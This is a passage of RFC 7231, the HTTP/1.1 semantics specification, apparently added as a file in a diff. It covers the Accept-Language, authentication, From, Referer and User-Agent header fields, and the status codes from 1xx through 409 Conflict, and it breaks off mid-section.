+Fielding & Reschke           Standards Track                   [Page 42]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   is not subject to content negotiation or honor the header field by
+   sending a 406 (Not Acceptable) response.  However, the latter is not
+   encouraged, as doing so can prevent users from accessing content that
+   they might be able to use (with translation software, for example).
+
+   Note that some recipients treat the order in which language tags are
+   listed as an indication of descending priority, particularly for tags
+   that are assigned equal quality values (no value is the same as q=1).
+   However, this behavior cannot be relied upon.  For consistency and to
+   maximize interoperability, many user agents assign each language tag
+   a unique quality value while also listing them in order of decreasing
+   quality.  Additional discussion of language priority lists can be
+   found in Section 2.3 of [RFC4647].
+
+   For matching, Section 3 of [RFC4647] defines several matching
+   schemes.  Implementations can offer the most appropriate matching
+   scheme for their requirements.  The "Basic Filtering" scheme
+   ([RFC4647], Section 3.3.1) is identical to the matching scheme that
+   was previously defined for HTTP in Section 14.4 of [RFC2616].
+
+   It might be contrary to the privacy expectations of the user to send
+   an Accept-Language header field with the complete linguistic
+   preferences of the user in every request (Section 9.7).
+
+   Since intelligibility is highly dependent on the individual user,
+   user agents need to allow user control over the linguistic preference
+   (either through configuration of the user agent itself or by
+   defaulting to a user controllable system setting).  A user agent that
+   does not provide such control to the user MUST NOT send an
+   Accept-Language header field.
+
+      Note: User agents ought to provide guidance to users when setting
+      a preference, since users are rarely familiar with the details of
+      language matching as described above.  For example, users might
+      assume that on selecting "en-gb", they will be served any kind of
+      English document if British English is not available.  A user
+      agent might suggest, in such a case, to add "en" to the list for
+      better matching behavior.
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 43]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+5.4.  Authentication Credentials
+
+   Two header fields are used for carrying authentication credentials,
+   as defined in [RFC7235].  Note that various custom mechanisms for
+   user authentication use the Cookie header field for this purpose, as
+   defined in [RFC6265].
+
+   +---------------------+--------------------------+
+   | Header Field Name   | Defined in...            |
+   +---------------------+--------------------------+
+   | Authorization       | Section 4.2 of [RFC7235] |
+   | Proxy-Authorization | Section 4.4 of [RFC7235] |
+   +---------------------+--------------------------+
+
+5.5.  Request Context
+
+   The following request header fields provide additional information
+   about the request context, including information about the user, user
+   agent, and resource behind the request.
+
+   +-------------------+---------------+
+   | Header Field Name | Defined in... |
+   +-------------------+---------------+
+   | From              | Section 5.5.1 |
+   | Referer           | Section 5.5.2 |
+   | User-Agent        | Section 5.5.3 |
+   +-------------------+---------------+
+
+5.5.1.  From
+
+   The "From" header field contains an Internet email address for a
+   human user who controls the requesting user agent.  The address ought
+   to be machine-usable, as defined by "mailbox" in Section 3.4 of
+   [RFC5322]:
+
+     From    = mailbox
+
+     mailbox = <mailbox, see [RFC5322], Section 3.4>
+
+   An example is:
+
+     From: webmaster@example.org
+
+   The From header field is rarely sent by non-robotic user agents.  A
+   user agent SHOULD NOT send a From header field without explicit
+   configuration by the user, since that might conflict with the user's
+   privacy interests or their site's security policy.
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 44]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A robotic user agent SHOULD send a valid From header field so that
+   the person responsible for running the robot can be contacted if
+   problems occur on servers, such as if the robot is sending excessive,
+   unwanted, or invalid requests.
+
+   A server SHOULD NOT use the From header field for access control or
+   authentication, since most recipients will assume that the field
+   value is public information.
+
+5.5.2.  Referer
+
+   The "Referer" [sic] header field allows the user agent to specify a
+   URI reference for the resource from which the target URI was obtained
+   (i.e., the "referrer", though the field name is misspelled).  A user
+   agent MUST NOT include the fragment and userinfo components of the
+   URI reference [RFC3986], if any, when generating the Referer field
+   value.
+
+     Referer = absolute-URI / partial-URI
+
+   The Referer header field allows servers to generate back-links to
+   other resources for simple analytics, logging, optimized caching,
+   etc.  It also allows obsolete or mistyped links to be found for
+   maintenance.  Some servers use the Referer header field as a means of
+   denying links from other sites (so-called "deep linking") or
+   restricting cross-site request forgery (CSRF), but not all requests
+   contain it.
+
+   Example:
+
+     Referer: http://www.example.org/hypertext/Overview.html
+
+   If the target URI was obtained from a source that does not have its
+   own URI (e.g., input from the user keyboard, or an entry within the
+   user's bookmarks/favorites), the user agent MUST either exclude the
+   Referer field or send it with a value of "about:blank".
+
+   The Referer field has the potential to reveal information about the
+   request context or browsing history of the user, which is a privacy
+   concern if the referring resource's identifier reveals personal
+   information (such as an account name) or a resource that is supposed
+   to be confidential (such as behind a firewall or internal to a
+   secured service).  Most general-purpose user agents do not send the
+   Referer header field when the referring resource is a local "file" or
+   "data" URI.  A user agent MUST NOT send a Referer header field in an
+   unsecured HTTP request if the referring page was received with a
+   secure protocol.  See Section 9.4 for additional security
+   considerations.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 45]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Some intermediaries have been known to indiscriminately remove
+   Referer header fields from outgoing requests.  This has the
+   unfortunate side effect of interfering with protection against CSRF
+   attacks, which can be far more harmful to their users.
+   Intermediaries and user agent extensions that wish to limit
+   information disclosure in Referer ought to restrict their changes to
+   specific edits, such as replacing internal domain names with
+   pseudonyms or truncating the query and/or path components.  An
+   intermediary SHOULD NOT modify or delete the Referer header field
+   when the field value shares the same scheme and host as the request
+   target.
+
+5.5.3.  User-Agent
+
+   The "User-Agent" header field contains information about the user
+   agent originating the request, which is often used by servers to help
+   identify the scope of reported interoperability problems, to work
+   around or tailor responses to avoid particular user agent
+   limitations, and for analytics regarding browser or operating system
+   use.  A user agent SHOULD send a User-Agent field in each request
+   unless specifically configured not to do so.
+
+     User-Agent = product *( RWS ( product / comment ) )
+
+   The User-Agent field-value consists of one or more product
+   identifiers, each followed by zero or more comments (Section 3.2 of
+   [RFC7230]), which together identify the user agent software and its
+   significant subproducts.  By convention, the product identifiers are
+   listed in decreasing order of their significance for identifying the
+   user agent software.  Each product identifier consists of a name and
+   optional version.
+
+     product         = token ["/" product-version]
+     product-version = token
+
+   A sender SHOULD limit generated product identifiers to what is
+   necessary to identify the product; a sender MUST NOT generate
+   advertising or other nonessential information within the product
+   identifier.  A sender SHOULD NOT generate information in
+   product-version that is not a version identifier (i.e., successive
+   versions of the same product name ought to differ only in the
+   product-version portion of the product identifier).
+
+   Example:
+
+     User-Agent: CERN-LineMode/2.15 libwww/2.17b3
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 46]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A user agent SHOULD NOT generate a User-Agent field containing
+   needlessly fine-grained detail and SHOULD limit the addition of
+   subproducts by third parties.  Overly long and detailed User-Agent
+   field values increase request latency and the risk of a user being
+   identified against their wishes ("fingerprinting").
+
+   Likewise, implementations are encouraged not to use the product
+   tokens of other implementations in order to declare compatibility
+   with them, as this circumvents the purpose of the field.  If a user
+   agent masquerades as a different user agent, recipients can assume
+   that the user intentionally desires to see responses tailored for
+   that identified user agent, even if they might not work as well for
+   the actual user agent being used.
+
+6.  Response Status Codes
+
+   The status-code element is a three-digit integer code giving the
+   result of the attempt to understand and satisfy the request.
+
+   HTTP status codes are extensible.  HTTP clients are not required to
+   understand the meaning of all registered status codes, though such
+   understanding is obviously desirable.  However, a client MUST
+   understand the class of any status code, as indicated by the first
+   digit, and treat an unrecognized status code as being equivalent to
+   the x00 status code of that class, with the exception that a
+   recipient MUST NOT cache a response with an unrecognized status code.
+
+   For example, if an unrecognized status code of 471 is received by a
+   client, the client can assume that there was something wrong with its
+   request and treat the response as if it had received a 400 (Bad
+   Request) status code.  The response message will usually contain a
+   representation that explains the status.
+
+   The first digit of the status-code defines the class of response.
+   The last two digits do not have any categorization role.  There are
+   five values for the first digit:
+
+   o  1xx (Informational): The request was received, continuing process
+
+   o  2xx (Successful): The request was successfully received,
+      understood, and accepted
+
+   o  3xx (Redirection): Further action needs to be taken in order to
+      complete the request
+
+   o  4xx (Client Error): The request contains bad syntax or cannot be
+      fulfilled
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 47]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  5xx (Server Error): The server failed to fulfill an apparently
+      valid request
+
+6.1.  Overview of Status Codes
+
+   The status codes listed below are defined in this specification,
+   Section 4 of [RFC7232], Section 4 of [RFC7233], and Section 3 of
+   [RFC7235].  The reason phrases listed here are only recommendations
+   -- they can be replaced by local equivalents without affecting the
+   protocol.
+
+   Responses with status codes that are defined as cacheable by default
+   (e.g., 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501 in
+   this specification) can be reused by a cache with heuristic
+   expiration unless otherwise indicated by the method definition or
+   explicit cache controls [RFC7234]; all other status codes are not
+   cacheable by default.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 48]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   +------+-------------------------------+--------------------------+
+   | Code | Reason-Phrase                 | Defined in...            |
+   +------+-------------------------------+--------------------------+
+   | 100  | Continue                      | Section 6.2.1            |
+   | 101  | Switching Protocols           | Section 6.2.2            |
+   | 200  | OK                            | Section 6.3.1            |
+   | 201  | Created                       | Section 6.3.2            |
+   | 202  | Accepted                      | Section 6.3.3            |
+   | 203  | Non-Authoritative Information | Section 6.3.4            |
+   | 204  | No Content                    | Section 6.3.5            |
+   | 205  | Reset Content                 | Section 6.3.6            |
+   | 206  | Partial Content               | Section 4.1 of [RFC7233] |
+   | 300  | Multiple Choices              | Section 6.4.1            |
+   | 301  | Moved Permanently             | Section 6.4.2            |
+   | 302  | Found                         | Section 6.4.3            |
+   | 303  | See Other                     | Section 6.4.4            |
+   | 304  | Not Modified                  | Section 4.1 of [RFC7232] |
+   | 305  | Use Proxy                     | Section 6.4.5            |
+   | 307  | Temporary Redirect            | Section 6.4.7            |
+   | 400  | Bad Request                   | Section 6.5.1            |
+   | 401  | Unauthorized                  | Section 3.1 of [RFC7235] |
+   | 402  | Payment Required              | Section 6.5.2            |
+   | 403  | Forbidden                     | Section 6.5.3            |
+   | 404  | Not Found                     | Section 6.5.4            |
+   | 405  | Method Not Allowed            | Section 6.5.5            |
+   | 406  | Not Acceptable                | Section 6.5.6            |
+   | 407  | Proxy Authentication Required | Section 3.2 of [RFC7235] |
+   | 408  | Request Timeout               | Section 6.5.7            |
+   | 409  | Conflict                      | Section 6.5.8            |
+   | 410  | Gone                          | Section 6.5.9            |
+   | 411  | Length Required               | Section 6.5.10           |
+   | 412  | Precondition Failed           | Section 4.2 of [RFC7232] |
+   | 413  | Payload Too Large             | Section 6.5.11           |
+   | 414  | URI Too Long                  | Section 6.5.12           |
+   | 415  | Unsupported Media Type        | Section 6.5.13           |
+   | 416  | Range Not Satisfiable         | Section 4.4 of [RFC7233] |
+   | 417  | Expectation Failed            | Section 6.5.14           |
+   | 426  | Upgrade Required              | Section 6.5.15           |
+   | 500  | Internal Server Error         | Section 6.6.1            |
+   | 501  | Not Implemented               | Section 6.6.2            |
+   | 502  | Bad Gateway                   | Section 6.6.3            |
+   | 503  | Service Unavailable           | Section 6.6.4            |
+   | 504  | Gateway Timeout               | Section 6.6.5            |
+   | 505  | HTTP Version Not Supported    | Section 6.6.6            |
+   +------+-------------------------------+--------------------------+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 49]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Note that this list is not exhaustive -- it does not include
+   extension status codes defined in other specifications.  The complete
+   list of status codes is maintained by IANA.  See Section 8.2 for
+   details.
+
+6.2.  Informational 1xx
+
+   The 1xx (Informational) class of status code indicates an interim
+   response for communicating connection status or request progress
+   prior to completing the requested action and sending a final
+   response. 1xx responses are terminated by the first empty line after
+   the status-line (the empty line signaling the end of the header
+   section).  Since HTTP/1.0 did not define any 1xx status codes, a
+   server MUST NOT send a 1xx response to an HTTP/1.0 client.
+
+   A client MUST be able to parse one or more 1xx responses received
+   prior to a final response, even if the client does not expect one.  A
+   user agent MAY ignore unexpected 1xx responses.
+
+   A proxy MUST forward 1xx responses unless the proxy itself requested
+   the generation of the 1xx response.  For example, if a proxy adds an
+   "Expect: 100-continue" field when it forwards a request, then it need
+   not forward the corresponding 100 (Continue) response(s).
+
+6.2.1.  100 Continue
+
+   The 100 (Continue) status code indicates that the initial part of a
+   request has been received and has not yet been rejected by the
+   server.  The server intends to send a final response after the
+   request has been fully received and acted upon.
+
+   When the request contains an Expect header field that includes a
+   100-continue expectation, the 100 response indicates that the server
+   wishes to receive the request payload body, as described in
+   Section 5.1.1.  The client ought to continue sending the request and
+   discard the 100 response.
+
+   If the request did not contain an Expect header field containing the
+   100-continue expectation, the client can simply discard this interim
+   response.
+
+6.2.2.  101 Switching Protocols
+
+   The 101 (Switching Protocols) status code indicates that the server
+   understands and is willing to comply with the client's request, via
+   the Upgrade header field (Section 6.7 of [RFC7230]), for a change in
+   the application protocol being used on this connection.  The server
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 50]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   MUST generate an Upgrade header field in the response that indicates
+   which protocol(s) will be switched to immediately after the empty
+   line that terminates the 101 response.
+
+   It is assumed that the server will only agree to switch protocols
+   when it is advantageous to do so.  For example, switching to a newer
+   version of HTTP might be advantageous over older versions, and
+   switching to a real-time, synchronous protocol might be advantageous
+   when delivering resources that use such features.
+
+6.3.  Successful 2xx
+
+   The 2xx (Successful) class of status code indicates that the client's
+   request was successfully received, understood, and accepted.
+
+6.3.1.  200 OK
+
+   The 200 (OK) status code indicates that the request has succeeded.
+   The payload sent in a 200 response depends on the request method.
+   For the methods defined by this specification, the intended meaning
+   of the payload can be summarized as:
+
+   GET  a representation of the target resource;
+
+   HEAD  the same representation as GET, but without the representation
+      data;
+
+   POST  a representation of the status of, or results obtained from,
+      the action;
+
+   PUT, DELETE  a representation of the status of the action;
+
+   OPTIONS  a representation of the communications options;
+
+   TRACE  a representation of the request message as received by the end
+      server.
+
+   Aside from responses to CONNECT, a 200 response always has a payload,
+   though an origin server MAY generate a payload body of zero length.
+   If no payload is desired, an origin server ought to send 204 (No
+   Content) instead.  For CONNECT, no payload is allowed because the
+   successful result is a tunnel, which begins immediately after the 200
+   response header section.
+
+   A 200 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 51]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+6.3.2.  201 Created
+
+   The 201 (Created) status code indicates that the request has been
+   fulfilled and has resulted in one or more new resources being
+   created.  The primary resource created by the request is identified
+   by either a Location header field in the response or, if no Location
+   field is received, by the effective request URI.
+
+   The 201 response payload typically describes and links to the
+   resource(s) created.  See Section 7.2 for a discussion of the meaning
+   and purpose of validator header fields, such as ETag and
+   Last-Modified, in a 201 response.
+
+6.3.3.  202 Accepted
+
+   The 202 (Accepted) status code indicates that the request has been
+   accepted for processing, but the processing has not been completed.
+   The request might or might not eventually be acted upon, as it might
+   be disallowed when processing actually takes place.  There is no
+   facility in HTTP for re-sending a status code from an asynchronous
+   operation.
+
+   The 202 response is intentionally noncommittal.  Its purpose is to
+   allow a server to accept a request for some other process (perhaps a
+   batch-oriented process that is only run once per day) without
+   requiring that the user agent's connection to the server persist
+   until the process is completed.  The representation sent with this
+   response ought to describe the request's current status and point to
+   (or embed) a status monitor that can provide the user with an
+   estimate of when the request will be fulfilled.
+
+6.3.4.  203 Non-Authoritative Information
+
+   The 203 (Non-Authoritative Information) status code indicates that
+   the request was successful but the enclosed payload has been modified
+   from that of the origin server's 200 (OK) response by a transforming
+   proxy (Section 5.7.2 of [RFC7230]).  This status code allows the
+   proxy to notify recipients when a transformation has been applied,
+   since that knowledge might impact later decisions regarding the
+   content.  For example, future cache validation requests for the
+   content might only be applicable along the same request path (through
+   the same proxies).
+
+   The 203 response is similar to the Warning code of 214 Transformation
+   Applied (Section 5.5 of [RFC7234]), which has the advantage of being
+   applicable to responses with any status code.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 52]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A 203 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.3.5.  204 No Content
+
+   The 204 (No Content) status code indicates that the server has
+   successfully fulfilled the request and that there is no additional
+   content to send in the response payload body.  Metadata in the
+   response header fields refer to the target resource and its selected
+   representation after the requested action was applied.
+
+   For example, if a 204 status code is received in response to a PUT
+   request and the response contains an ETag header field, then the PUT
+   was successful and the ETag field-value contains the entity-tag for
+   the new representation of that target resource.
+
+   The 204 response allows a server to indicate that the action has been
+   successfully applied to the target resource, while implying that the
+   user agent does not need to traverse away from its current "document
+   view" (if any).  The server assumes that the user agent will provide
+   some indication of the success to its user, in accord with its own
+   interface, and apply any new or updated metadata in the response to
+   its active representation.
+
+   For example, a 204 status code is commonly used with document editing
+   interfaces corresponding to a "save" action, such that the document
+   being saved remains available to the user for editing.  It is also
+   frequently used with interfaces that expect automated data transfers
+   to be prevalent, such as within distributed version control systems.
+
+   A 204 response is terminated by the first empty line after the header
+   fields because it cannot contain a message body.
+
+   A 204 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.3.6.  205 Reset Content
+
+   The 205 (Reset Content) status code indicates that the server has
+   fulfilled the request and desires that the user agent reset the
+   "document view", which caused the request to be sent, to its original
+   state as received from the origin server.
+
+   This response is intended to support a common data entry use case
+   where the user receives content that supports data entry (a form,
+   notepad, canvas, etc.), enters or manipulates data in that space,
+
+
+
+Fielding & Reschke           Standards Track                   [Page 53]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   causes the entered data to be submitted in a request, and then the
+   data entry mechanism is reset for the next entry so that the user can
+   easily initiate another input action.
+
+   Since the 205 status code implies that no additional content will be
+   provided, a server MUST NOT generate a payload in a 205 response.  In
+   other words, a server MUST do one of the following for a 205
+   response: a) indicate a zero-length body for the response by
+   including a Content-Length header field with a value of 0; b)
+   indicate a zero-length payload for the response by including a
+   Transfer-Encoding header field with a value of chunked and a message
+   body consisting of a single chunk of zero-length; or, c) close the
+   connection immediately after sending the blank line terminating the
+   header section.
+
+6.4.  Redirection 3xx
+
+   The 3xx (Redirection) class of status code indicates that further
+   action needs to be taken by the user agent in order to fulfill the
+   request.  If a Location header field (Section 7.1.2) is provided, the
+   user agent MAY automatically redirect its request to the URI
+   referenced by the Location field value, even if the specific status
+   code is not understood.  Automatic redirection needs to done with
+   care for methods not known to be safe, as defined in Section 4.2.1,
+   since the user might not wish to redirect an unsafe request.
+
+   There are several types of redirects:
+
+   1.  Redirects that indicate the resource might be available at a
+       different URI, as provided by the Location field, as in the
+       status codes 301 (Moved Permanently), 302 (Found), and 307
+       (Temporary Redirect).
+
+   2.  Redirection that offers a choice of matching resources, each
+       capable of representing the original request target, as in the
+       300 (Multiple Choices) status code.
+
+   3.  Redirection to a different resource, identified by the Location
+       field, that can represent an indirect response to the request, as
+       in the 303 (See Other) status code.
+
+   4.  Redirection to a previously cached result, as in the 304 (Not
+       Modified) status code.
+
+      Note: In HTTP/1.0, the status codes 301 (Moved Permanently) and
+      302 (Found) were defined for the first type of redirect
+      ([RFC1945], Section 9.3).  Early user agents split on whether the
+      method applied to the redirect target would be the same as the
+
+
+
+Fielding & Reschke           Standards Track                   [Page 54]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+      original request or would be rewritten as GET.  Although HTTP
+      originally defined the former semantics for 301 and 302 (to match
+      its original implementation at CERN), and defined 303 (See Other)
+      to match the latter semantics, prevailing practice gradually
+      converged on the latter semantics for 301 and 302 as well.  The
+      first revision of HTTP/1.1 added 307 (Temporary Redirect) to
+      indicate the former semantics without being impacted by divergent
+      practice.  Over 10 years later, most user agents still do method
+      rewriting for 301 and 302; therefore, this specification makes
+      that behavior conformant when the original request is POST.
+
+   A client SHOULD detect and intervene in cyclical redirections (i.e.,
+   "infinite" redirection loops).
+
+      Note: An earlier version of this specification recommended a
+      maximum of five redirections ([RFC2068], Section 10.3).  Content
+      developers need to be aware that some clients might implement such
+      a fixed limitation.
+
+6.4.1.  300 Multiple Choices
+
+   The 300 (Multiple Choices) status code indicates that the target
+   resource has more than one representation, each with its own more
+   specific identifier, and information about the alternatives is being
+   provided so that the user (or user agent) can select a preferred
+   representation by redirecting its request to one or more of those
+   identifiers.  In other words, the server desires that the user agent
+   engage in reactive negotiation to select the most appropriate
+   representation(s) for its needs (Section 3.4).
+
+   If the server has a preferred choice, the server SHOULD generate a
+   Location header field containing a preferred choice's URI reference.
+   The user agent MAY use the Location field value for automatic
+   redirection.
+
+   For request methods other than HEAD, the server SHOULD generate a
+   payload in the 300 response containing a list of representation
+   metadata and URI reference(s) from which the user or user agent can
+   choose the one most preferred.  The user agent MAY make a selection
+   from that list automatically if it understands the provided media
+   type.  A specific format for automatic selection is not defined by
+   this specification because HTTP tries to remain orthogonal to the
+   definition of its payloads.  In practice, the representation is
+   provided in some easily parsed format believed to be acceptable to
+   the user agent, as determined by shared design or content
+   negotiation, or in some commonly accepted hypertext format.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 55]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A 300 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+      Note: The original proposal for the 300 status code defined the
+      URI header field as providing a list of alternative
+      representations, such that it would be usable for 200, 300, and
+      406 responses and be transferred in responses to the HEAD method.
+      However, lack of deployment and disagreement over syntax led to
+      both URI and Alternates (a subsequent proposal) being dropped from
+      this specification.  It is possible to communicate the list using
+      a set of Link header fields [RFC5988], each with a relationship of
+      "alternate", though deployment is a chicken-and-egg problem.
+
+6.4.2.  301 Moved Permanently
+
+   The 301 (Moved Permanently) status code indicates that the target
+   resource has been assigned a new permanent URI and any future
+   references to this resource ought to use one of the enclosed URIs.
+   Clients with link-editing capabilities ought to automatically re-link
+   references to the effective request URI to one or more of the new
+   references sent by the server, where possible.
+
+   The server SHOULD generate a Location header field in the response
+   containing a preferred URI reference for the new permanent URI.  The
+   user agent MAY use the Location field value for automatic
+   redirection.  The server's response payload usually contains a short
+   hypertext note with a hyperlink to the new URI(s).
+
+      Note: For historical reasons, a user agent MAY change the request
+      method from POST to GET for the subsequent request.  If this
+      behavior is undesired, the 307 (Temporary Redirect) status code
+      can be used instead.
+
+   A 301 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.4.3.  302 Found
+
+   The 302 (Found) status code indicates that the target resource
+   resides temporarily under a different URI.  Since the redirection
+   might be altered on occasion, the client ought to continue to use the
+   effective request URI for future requests.
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 56]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   The server SHOULD generate a Location header field in the response
+   containing a URI reference for the different URI.  The user agent MAY
+   use the Location field value for automatic redirection.  The server's
+   response payload usually contains a short hypertext note with a
+   hyperlink to the different URI(s).
+
+      Note: For historical reasons, a user agent MAY change the request
+      method from POST to GET for the subsequent request.  If this
+      behavior is undesired, the 307 (Temporary Redirect) status code
+      can be used instead.
+
+6.4.4.  303 See Other
+
+   The 303 (See Other) status code indicates that the server is
+   redirecting the user agent to a different resource, as indicated by a
+   URI in the Location header field, which is intended to provide an
+   indirect response to the original request.  A user agent can perform
+   a retrieval request targeting that URI (a GET or HEAD request if
+   using HTTP), which might also be redirected, and present the eventual
+   result as an answer to the original request.  Note that the new URI
+   in the Location header field is not considered equivalent to the
+   effective request URI.
+
+   This status code is applicable to any HTTP method.  It is primarily
+   used to allow the output of a POST action to redirect the user agent
+   to a selected resource, since doing so provides the information
+   corresponding to the POST response in a form that can be separately
+   identified, bookmarked, and cached, independent of the original
+   request.
+
+   A 303 response to a GET request indicates that the origin server does
+   not have a representation of the target resource that can be
+   transferred by the server over HTTP.  However, the Location field
+   value refers to a resource that is descriptive of the target
+   resource, such that making a retrieval request on that other resource
+   might result in a representation that is useful to recipients without
+   implying that it represents the original target resource.  Note that
+   answers to the questions of what can be represented, what
+   representations are adequate, and what might be a useful description
+   are outside the scope of HTTP.
+
+   Except for responses to a HEAD request, the representation of a 303
+   response ought to contain a short hypertext note with a hyperlink to
+   the same URI reference provided in the Location header field.
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 57]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+6.4.5.  305 Use Proxy
+
+   The 305 (Use Proxy) status code was defined in a previous version of
+   this specification and is now deprecated (Appendix B).
+
+6.4.6.  306 (Unused)
+
+   The 306 status code was defined in a previous version of this
+   specification, is no longer used, and the code is reserved.
+
+6.4.7.  307 Temporary Redirect
+
+   The 307 (Temporary Redirect) status code indicates that the target
+   resource resides temporarily under a different URI and the user agent
+   MUST NOT change the request method if it performs an automatic
+   redirection to that URI.  Since the redirection can change over time,
+   the client ought to continue using the original effective request URI
+   for future requests.
+
+   The server SHOULD generate a Location header field in the response
+   containing a URI reference for the different URI.  The user agent MAY
+   use the Location field value for automatic redirection.  The server's
+   response payload usually contains a short hypertext note with a
+   hyperlink to the different URI(s).
+
+      Note: This status code is similar to 302 (Found), except that it
+      does not allow changing the request method from POST to GET.  This
+      specification defines no equivalent counterpart for 301 (Moved
+      Permanently) ([RFC7238], however, defines the status code 308
+      (Permanent Redirect) for this purpose).
+
+6.5.  Client Error 4xx
+
+   The 4xx (Client Error) class of status code indicates that the client
+   seems to have erred.  Except when responding to a HEAD request, the
+   server SHOULD send a representation containing an explanation of the
+   error situation, and whether it is a temporary or permanent
+   condition.  These status codes are applicable to any request method.
+   User agents SHOULD display any included representation to the user.
+
+6.5.1.  400 Bad Request
+
+   The 400 (Bad Request) status code indicates that the server cannot or
+   will not process the request due to something that is perceived to be
+   a client error (e.g., malformed request syntax, invalid request
+   message framing, or deceptive request routing).
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 58]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+6.5.2.  402 Payment Required
+
+   The 402 (Payment Required) status code is reserved for future use.
+
+6.5.3.  403 Forbidden
+
+   The 403 (Forbidden) status code indicates that the server understood
+   the request but refuses to authorize it.  A server that wishes to
+   make public why the request has been forbidden can describe that
+   reason in the response payload (if any).
+
+   If authentication credentials were provided in the request, the
+   server considers them insufficient to grant access.  The client
+   SHOULD NOT automatically repeat the request with the same
+   credentials.  The client MAY repeat the request with new or different
+   credentials.  However, a request might be forbidden for reasons
+   unrelated to the credentials.
+
+   An origin server that wishes to "hide" the current existence of a
+   forbidden target resource MAY instead respond with a status code of
+   404 (Not Found).
+
+6.5.4.  404 Not Found
+
+   The 404 (Not Found) status code indicates that the origin server did
+   not find a current representation for the target resource or is not
+   willing to disclose that one exists.  A 404 status code does not
+   indicate whether this lack of representation is temporary or
+   permanent; the 410 (Gone) status code is preferred over 404 if the
+   origin server knows, presumably through some configurable means, that
+   the condition is likely to be permanent.
+
+   A 404 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.5.5.  405 Method Not Allowed
+
+   The 405 (Method Not Allowed) status code indicates that the method
+   received in the request-line is known by the origin server but not
+   supported by the target resource.  The origin server MUST generate an
+   Allow header field in a 405 response containing a list of the target
+   resource's currently supported methods.
+
+   A 405 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 59]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+6.5.6.  406 Not Acceptable
+
+   The 406 (Not Acceptable) status code indicates that the target
+   resource does not have a current representation that would be
+   acceptable to the user agent, according to the proactive negotiation
+   header fields received in the request (Section 5.3), and the server
+   is unwilling to supply a default representation.
+
+   The server SHOULD generate a payload containing a list of available
+   representation characteristics and corresponding resource identifiers
+   from which the user or user agent can choose the one most
+   appropriate.  A user agent MAY automatically select the most
+   appropriate choice from that list.  However, this specification does
+   not define any standard for such automatic selection, as described in
+   Section 6.4.1.
+
+6.5.7.  408 Request Timeout
+
+   The 408 (Request Timeout) status code indicates that the server did
+   not receive a complete request message within the time that it was
+   prepared to wait.  A server SHOULD send the "close" connection option
+   (Section 6.1 of [RFC7230]) in the response, since 408 implies that
+   the server has decided to close the connection rather than continue
+   waiting.  If the client has an outstanding request in transit, the
+   client MAY repeat that request on a new connection.
+
+6.5.8.  409 Conflict
+
+   The 409 (Conflict) status code indicates that the request could not
+   be completed due to a conflict with the current state of the target
+   resource.  This code is used in situations where the user might be
+   able to resolve the conflict and resubmit the request.  The server
+   SHOULD generate a payload that includes enough information for a user
+   to recognize the source of the conflict.
+
+   Conflicts are most likely to occur in response to a PUT request.  For
+   example, if versioning were being used and the representation being
+   PUT included changes to a resource that conflict with those made by
